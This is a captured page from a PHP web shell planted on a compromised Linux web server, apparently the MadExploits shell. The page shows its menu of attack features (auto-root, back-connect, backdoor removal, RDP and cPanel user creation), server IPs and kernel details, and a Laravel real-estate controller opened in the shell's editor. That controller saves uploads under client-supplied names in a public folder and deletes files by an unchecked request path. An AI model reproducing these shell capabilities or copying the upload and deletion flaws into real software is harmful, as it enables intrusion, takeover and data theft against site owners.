Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.159.93
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
realestate /
source /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Admin
[ DIR ]
drwxr-xr-x
ApplicantController.php
32.25
KB
-rwxr-xr-x
Controller.php
299
B
-rwxr-xr-x
DirectoryController.php
10.75
KB
-rwxr-xr-x
LandlordController.php
15.28
KB
-rwxr-xr-x
MainDashboardController.php
251
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DirectoryController.php
<?php namespace App\Http\Controllers; use App\Models\Branch; use App\Models\Category; use App\Models\Country; use App\Models\Directory; use App\Models\DirectoryAddress; use App\Models\DirectoryAttachment; use Illuminate\Http\Request; use Illuminate\Support\Facades\File; use Illuminate\Support\Facades\Storage; class DirectoryController extends Controller { /** * Display a list of files in a directory. * * @param string $path * @return \Illuminate\Http\Response */ public function index() { $title='Directory'; $directories = Directory::with(['categories'])->get(); // Fetch all directories return view('front.directories.index', compact('directories','title')); } /** * Create a new directory. * * @param Request $request * @return \Illuminate\Http\Response */ public function create(Request $request) { $title='Directory'; $category=Category::where('type','2')->get(); $branch=Branch::all(); $country=Country::all(); return view('front.directories.create',compact('category','branch','country','title')); } public function store(Request $request) { try { // Create Directory Entry $directory = Directory::create([ 'category' => $request->category, 'company' => $request->company, 'telephone' => $request->telephone, 'mobile' => $request->mobile, 'email' => $request->email, 'web_address' => $request->web_address, 'dx' => $request->dx, 'fax' => $request->fax, 'postcode' => $request->postcode, 'address_line_1' => $request->address_line_1, 'address_line_2' => $request->address_line_2, 'town' => $request->town, 'county' => $request->county, 'country' => $request->country, 'branch' => $request->branch, 'comments' => $request->comments, 'other_info' => $request->other_info, 'bym_status' => $request->bym_status, 'bank_body' => $request->bank_body, 'account_no' => $request->account_no, 'sort_code' => $request->sort_code, 'account_name' => $request->account_name, 'beneficiary_reference' => $request->beneficiary_reference, 'bank_branch_address_line_1' => $request->bank_branch_address_line_1, 'bank_branch_address_line_2' => $request->bank_branch_address_line_2, 'bank_town' => $request->bank_town, 'bank_county' => $request->bank_county, 'bank_postcode' => $request->bank_postcode, 'bank_country' => $request->bank_country, ]); // Handle File Uploads if ($request->hasFile('files_list')) { foreach ($request->file('files_list') as $file) { $fileName = time() . '_' . $file->getClientOriginalName(); $image_file_path='assets/directories/'; // Move file to root assets directory $file->move($image_file_path, $fileName); // Save record in database DirectoryAttachment::create([ 'directory_id' => $directory->id, 'directory_attachment' => $fileName, ]); } } // Store Multiple Directory Addresses foreach ($request->full_name as $index => $fullName) { DirectoryAddress::create([ 'directory_id' => $directory->id, 'full_name' => $fullName, 'phone_work' => $request->phone_work[$index] ?? null, 'phone_mobile' => $request->phone_mobile[$index] ?? null, 'phone_home' => $request->phone_home[$index] ?? null, 'fax' => $request->contact_fax[$index] ?? null, 'email' => $request->email[$index] ?? null, ]); } return redirect()->route('directories.index') ->with('success', 'Directory created successfully.'); } catch (\Exception $e) { // Log error and return response \Log::error('Error storing directory: ' . $e->getMessage()); return response()->json([ 'status' => 'error', 'message' => 'Something went wrong: ' . $e->getMessage(), ], 500); } } public function edit($id) { try { $title='Directory'; $category=Category::where('type','2')->get(); $branch=Branch::all(); $country=Country::all(); $directory = Directory::with(['directoryAddresses', 'directoryAttachments'])->where('id',$id)->first(); return view('front.directories.edit', compact('directory','title','category','branch','country')); } catch (\Exception $e) { \Log::error('Error fetching directory: ' . $e->getMessage()); return redirect()->back()->with('error', 'Error fetching directory details.'); } } public function deleteFile(Request $request) { $request->validate([ 'file' => 'required|string' ]); $filePath = "assets/directories/" . $request->file; if (file_exists($filePath)) { unlink($filePath); // Delete the file } // Delete associated addresses DirectoryAttachment::where('id', $request->id)->delete(); return response()->json(['success' => true, 'message' => 'File deleted successfully']); } public function update(Request $request, $id) { try { // Find the directory $directory = Directory::findOrFail($id); // Update directory fields $directory->update([ 'category' => $request->category, 'company' => $request->company, 'telephone' => $request->telephone, 'mobile' => $request->mobile, 'email' => $request->email, 'web_address' => $request->web_address, 'dx' => $request->dx, 'fax' => $request->fax, 'postcode' => $request->postcode, 'address_line_1' => $request->address_line_1, 'address_line_2' => $request->address_line_2, 'town' => $request->town, 'county' => $request->county, 'country' => $request->country, 'branch' => $request->branch, 'comments' => $request->comments, 'other_info' => $request->other_info, 'bym_status' => $request->bym_status, 'bank_body' => $request->bank_body, 'account_no' => $request->account_no, 'sort_code' => $request->sort_code, 'account_name' => $request->account_name, 'beneficiary_reference' => $request->beneficiary_reference, 'bank_branch_address_line_1' => $request->bank_branch_address_line_1, 'bank_branch_address_line_2' => $request->bank_branch_address_line_2, 'bank_town' => $request->bank_town, 'bank_county' => $request->bank_county, 'bank_postcode' => $request->bank_postcode, 'bank_country' => $request->bank_country, ]); // Handle file uploads if ($request->hasFile('files_list')) { foreach ($request->file('files_list') as $file) { $fileName = time() . '_' . $file->getClientOriginalName(); $filePath = public_path("assets/directories/"); $image_file_path='assets/directories/'; // Move file to root assets directory $file->move($image_file_path, $fileName); // Save new attachment DirectoryAttachment::create([ 'directory_id' => $directory->id, 'directory_attachment' => $fileName, ]); } } // Update Directory Addresses if (!empty($request->full_name)) { // Delete existing addresses DirectoryAddress::where('directory_id', $id)->delete(); // Insert new addresses foreach ($request->full_name as $index => $fullName) { DirectoryAddress::create([ 'directory_id' => $directory->id, 'full_name' => $fullName, 'phone_work' => $request->phone_work[$index] ?? null, 'phone_mobile' => $request->phone_mobile[$index] ?? null, 'phone_home' => $request->phone_home[$index] ?? null, 'fax' => $request->contact_fax[$index] ?? null, 'email' => $request->email[$index] ?? null, ]); } } return redirect()->route('directories.index')->with('success', 'Directory updated successfully.'); } catch (\Exception $e) { \Log::error('Error updating directory: ' . $e->getMessage()); return redirect()->back()->with('error', 'Error updating directory.'); } } /** * Delete a directory. * * @param string $path * @return \Illuminate\Http\Response */ public function destroy($id) { try { // Find the directory $directory = Directory::with(['directoryAddresses', 'directoryAttachments'])->findOrFail($id); // Delete associated addresses DirectoryAddress::where('directory_id', $directory->id)->delete(); // Delete associated attachments and files from storage foreach ($directory->directoryAttachments as $attachment) { $filePath = public_path("assets/directories/" . $attachment->directory_attachment); if (file_exists($filePath)) { unlink($filePath); // Delete file from storage } $attachment->delete(); // Delete record from database } // Delete the directory itself $directory->delete(); return redirect()->route('directory.index')->with('success', 'Directory deleted successfully.'); } catch (\Exception $e) { \Log::error('Error deleting directory: ' . $e->getMessage()); return redirect()->back()->with('error', 'Something went wrong: ' . $e->getMessage()); } } }
Close